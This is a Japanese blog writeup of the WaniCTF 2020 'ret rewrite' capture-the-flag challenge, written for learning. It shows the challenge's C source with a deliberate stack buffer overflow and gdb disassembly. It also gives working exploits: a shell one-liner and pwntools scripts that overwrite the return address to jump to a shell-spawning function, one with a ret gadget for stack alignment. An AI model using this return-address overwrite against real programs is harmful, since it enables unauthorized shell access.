LoginSignup
1
0

More than 1 year has passed since last update.

WaniCTF 2020 pwn 05 ret rewrite Writeup

Last updated at Posted at 2021-04-27

これが pwn問題 に関する初投稿!

vuln関数とwin関数があるが,main関数からはvuln関数のみcallされる。
win関数を呼べばshellがとれるが,win関数はどこからもcallされない。
vuln関数にはbofの脆弱性がある。
main関数からvuln関数をcallした時にスタックに積まれたvuln関数のリターンアドレスをbofでwin関数のアドレスに書き換え,どこからもcallされていないwin関数を呼び出すという問題です。

また,スタックのアライメントについても学習できます。

攻撃コード1

$ (echo -e "AAAAAAAAAAAAAAAAAAAAAA\x38\x08\x40"; cat) | ./pwn05

攻撃コード2

pwn05.py
import pwn

#io = pwn.remote("ret.wanictf.org", 9005)
io = pwn.process("./pwn05")

ret = io.readuntil("What's your name?: ")
print(ret)

#addr = 0x400837
addr = 0x400838
s = b"A" * 22
s += pwn.p64(addr)

print(s)

io.send(s)
io.interactive()

攻撃コード3 (ret でアライメント調整)

pwn051.py
import pwn

#io = pwn.remote("ret.wanictf.org", 9005)
io = pwn.process("./pwn05")

ret = io.readuntil("What's your name?: ")
print(ret)

win_addr = 0x400837
ret_addr = 0x400696
s = b"A" * 22
s += pwn.p64(ret_addr)
s += pwn.p64(win_addr)

print(s)

io.send(s)
io.interactive()

問題文

nc ret.wanictf.org 9005
stackの仕組みを学びましょう。
関数の戻りアドレスはstackに積まれます。
"congraturation"が出力されてもスタックのアライメントの問題でwin関数のアドレスから少しずらす必要がある場合があります。
(echo -e "\x11\x11\x11\x11\x11\x11"; cat) | nc ret.wanictf.org 9005
念のためpwntoolsのサンプルプログラム「pwn05_sample.py」を載せておきました。

配布データ

pwn05.c
pwn05
pwn05.c
#include <stdio.h>
#include <unistd.h>
#include <stdlib.h>
#include <string.h>

char str_head[] = "Hello ";
char str_tail[] = "!\n";

void init();
void debug_stack_dump(unsigned long rsp, unsigned long rbp);

void win()
{
    puts("congratulation!");
    system("/bin/sh");
    exit(0);
}

void vuln()
{
    char name[10];
    int ret;

    printf("What's your name?: ");
    ret = read(0, name, 0x100);
    name[ret - 1] = 0;

    write(0, str_head, strlen(str_head));
    write(0, name, strlen(name));
    write(0, str_tail, strlen(str_tail));

    { //for learning stack
        register unsigned long rsp asm("rsp");
        register unsigned long rbp asm("rbp");
        debug_stack_dump(rsp, rbp);
    }
}

int main()
{
    init();
    while (1)
    {
        vuln();
    }
}

void init()
{
    alarm(30);
    setbuf(stdin, NULL);
    setbuf(stdout, NULL);
    setbuf(stderr, NULL);
}

void debug_stack_dump(unsigned long rsp, unsigned long rbp)
{
    unsigned long i;
    printf("\n***start stack dump***\n");
    i = rsp;
    while (i <= rbp + 32)
    {
        unsigned long *p;
        p = (unsigned long *)i;
        printf("0x%lx: 0x%016lx", i, *p);
        if (i == rsp)
        {
            printf(" <- rsp");
        }
        else if (i == rbp)
        {
            printf(" <- rbp");
        }
        else if (i == rbp + 8)
        {
            printf(" <- return address");
        }
        printf("\n");
        i += 8;
    }
    printf("***end stack dump***\n\n");
}

どこからも呼ばれない win() を呼び出せばフラグが取れそうです。
とりあえず pwn05 を実行してみます。

$ ./pwn05
What's your name?: AAA
Hello AAA!

***start stack dump***
0x7fffe10fb790: 0x000000414141b890 <- rsp
0x7fffe10fb798: 0x0000000400400974
0x7fffe10fb7a0: 0x00007fffe10fb7b0 <- rbp
0x7fffe10fb7a8: 0x0000000000400928 <- return address
0x7fffe10fb7b0: 0x0000000000400a50
0x7fffe10fb7b8: 0x00007f4f5a021bf7
0x7fffe10fb7c0: 0x0000000000000001
***end stack dump***

What's your name?:

スタックが見えていますが,ここはあえて,gdbで解きます。

それでは,gdbスタート

$ gdb -q ./pwn05
Reading symbols from ./pwn05...(no debugging symbols found)...done.

gdb-peda$ b main
Breakpoint 1 at 0x400914

gdb-peda$ r
Starting program: /mnt/c/pwn05

gdb-peda$ pdisass main
Dump of assembler code for function main:
   0x0000000000400910 <+0>:     push   rbp
   0x0000000000400911 <+1>:     mov    rbp,rsp
=> 0x0000000000400914 <+4>:     mov    eax,0x0
   0x0000000000400919 <+9>:     call   0x40092a <init>
   0x000000000040091e <+14>:    mov    eax,0x0
   0x0000000000400923 <+19>:    call   0x40085d <vuln>
   0x0000000000400928 <+24>:    jmp    0x40091e <main+14>
End of assembler dump.

call 0x40085d vuln の戻りアドレス 0x400928 がスタックに積まれているはずです。

※main関数から見たら次の行ですが,RIP(命令ポインタ)は1つだけでvuln関数内を指し示すので,「次」がわからなくなります。そこで関数呼び出しにスタックが使われます。

gdb-peda$ si

でvuln関数の中に入っていきます。
image.png

gdb-peda$ pdisass vuln
Dump of assembler code for function vuln:
=> 0x000000000040085d <+0>:     push   rbp
   0x000000000040085e <+1>:     mov    rbp,rsp
   0x0000000000400861 <+4>:     sub    rsp,0x10
   0x0000000000400865 <+8>:     lea    rdi,[rip+0x280]        # 0x400aec
   0x000000000040086c <+15>:    mov    eax,0x0
   0x0000000000400871 <+20>:    call   0x400710 <printf@plt>
   0x0000000000400876 <+25>:    lea    rax,[rbp-0xe]
   0x000000000040087a <+29>:    mov    edx,0x100
   0x000000000040087f <+34>:    mov    rsi,rax
   0x0000000000400882 <+37>:    mov    edi,0x0
   0x0000000000400887 <+42>:    call   0x400730 <read@plt>
   0x000000000040088c <+47>:    mov    DWORD PTR [rbp-0x4],eax
   0x000000000040088f <+50>:    mov    eax,DWORD PTR [rbp-0x4]
   0x0000000000400892 <+53>:    sub    eax,0x1
   0x0000000000400895 <+56>:    cdqe
   0x0000000000400897 <+58>:    mov    BYTE PTR [rbp+rax*1-0xe],0x0
   0x000000000040089c <+63>:    lea    rdi,[rip+0x2007d5]        # 0x601078 <str_head>
   0x00000000004008a3 <+70>:    call   0x4006e0 <strlen@plt>
   0x00000000004008a8 <+75>:    mov    rdx,rax
   0x00000000004008ab <+78>:    lea    rsi,[rip+0x2007c6]        # 0x601078 <str_head>
   0x00000000004008b2 <+85>:    mov    edi,0x0
   0x00000000004008b7 <+90>:    call   0x4006d0 <write@plt>
   0x00000000004008bc <+95>:    lea    rax,[rbp-0xe]
   0x00000000004008c0 <+99>:    mov    rdi,rax
   0x00000000004008c3 <+102>:   call   0x4006e0 <strlen@plt>
   0x00000000004008c8 <+107>:   mov    rdx,rax
   0x00000000004008cb <+110>:   lea    rax,[rbp-0xe]
   0x00000000004008cf <+114>:   mov    rsi,rax
   0x00000000004008d2 <+117>:   mov    edi,0x0
   0x00000000004008d7 <+122>:   call   0x4006d0 <write@plt>
   0x00000000004008dc <+127>:   lea    rdi,[rip+0x20079c]        # 0x60107f <str_tail>
   0x00000000004008e3 <+134>:   call   0x4006e0 <strlen@plt>
   0x00000000004008e8 <+139>:   mov    rdx,rax
   0x00000000004008eb <+142>:   lea    rsi,[rip+0x20078d]        # 0x60107f <str_tail>
   0x00000000004008f2 <+149>:   mov    edi,0x0
   0x00000000004008f7 <+154>:   call   0x4006d0 <write@plt>
   0x00000000004008fc <+159>:   mov    rdx,rbp
   0x00000000004008ff <+162>:   mov    rax,rsp
   0x0000000000400902 <+165>:   mov    rsi,rdx
   0x0000000000400905 <+168>:   mov    rdi,rax
   0x0000000000400908 <+171>:   call   0x400977 <debug_stack_dump>
   0x000000000040090d <+176>:   nop
   0x000000000040090e <+177>:   leave
   0x000000000040090f <+178>:   ret
End of assembler dump.

call read より後で, 文字列の末尾を 0x00 にしている
mov BYTE PTR [rbp+rax*1-0xe],0x0
が終わった 0x000000000040089c にブレークポイントを設定し, c (continue)で流します。

gdb-peda$ b *0x000000000040089c
Breakpoint 2 at 0x40089c
gdb-peda$ c
Continuing.
What's your name?:

What's your name?: ときますので, AAA を入力
image.png

スタックに入力した AAA と 戻りアドレス 0x400928 があります。
さらに詳細にスタックを確認します。

gdb-peda$ x/10xg 0x7ffffffee290

image.png
今は, A は3個ですが蛍光ペンで塗った部分だけ,つまり,A が 22個必要です。

次に,win のアドレスを調べます。

gdb-peda$ p &win
$1 = (<text variable, no debug info> *) 0x400837 <win>

攻撃してみます。

$ (echo -e "AAAAAAAAAAAAAAAAAAAAAA\x37\x08\x40"; cat) | ./pwn05

image.png
congratulation!と出ていますが,シェルは動きません。

問題のヒント
"congraturation"が出力されてもスタックのアライメントの問題でwin関数のアドレスから少しずらす必要がある場合があります。

push rbp の次に飛ばせばよさそうです。
もう一度 gdb で win 関数を調べます

gdb-peda$ pdisass win
Dump of assembler code for function win:
   0x0000000000400837 <+0>:     push   rbp
   0x0000000000400838 <+1>:     mov    rbp,rsp
   0x000000000040083b <+4>:     lea    rdi,[rip+0x292]        # 0x400ad4
   0x0000000000400842 <+11>:    call   0x4006c0 <puts@plt>
   0x0000000000400847 <+16>:    lea    rdi,[rip+0x296]        # 0x400ae4
   0x000000000040084e <+23>:    call   0x400700 <system@plt>
   0x0000000000400853 <+28>:    mov    edi,0x0
   0x0000000000400858 <+33>:    call   0x400740 <exit@plt>
End of assembler dump.

push rbp の次は 0x400838 です。

再度,攻撃してみます。

$ (echo -e "AAAAAAAAAAAAAAAAAAAAAA\x38\x08\x40"; cat) | ./pwn05

image.png
ビンゴ

retでアライメント調整

ret は pop + jmp

ret のアドレスを objdump で調べる

objdump -d -M intel ./pwn05 | less
/ c3
  400696:       c3                      ret    

0x400696だ

pwn051.py
import pwn

#io = pwn.remote("ret.wanictf.org", 9005)
io = pwn.process("./pwn05")

ret = io.readuntil("What's your name?: ")
print(ret)

win_addr = 0x400837
ret_addr = 0x400696
s = b"A" * 22
s += pwn.p64(ret_addr)
s += pwn.p64(win_addr)

print(s)

io.send(s)
io.interactive()

 
 
参考にしたサイト(ありがとうございました。)

1
0
0

Register as a new user and use Qiita more conveniently

  1. You get articles that match your needs
  2. You can efficiently read back useful information
  3. You can use dark theme
What you can do with signing up
1
0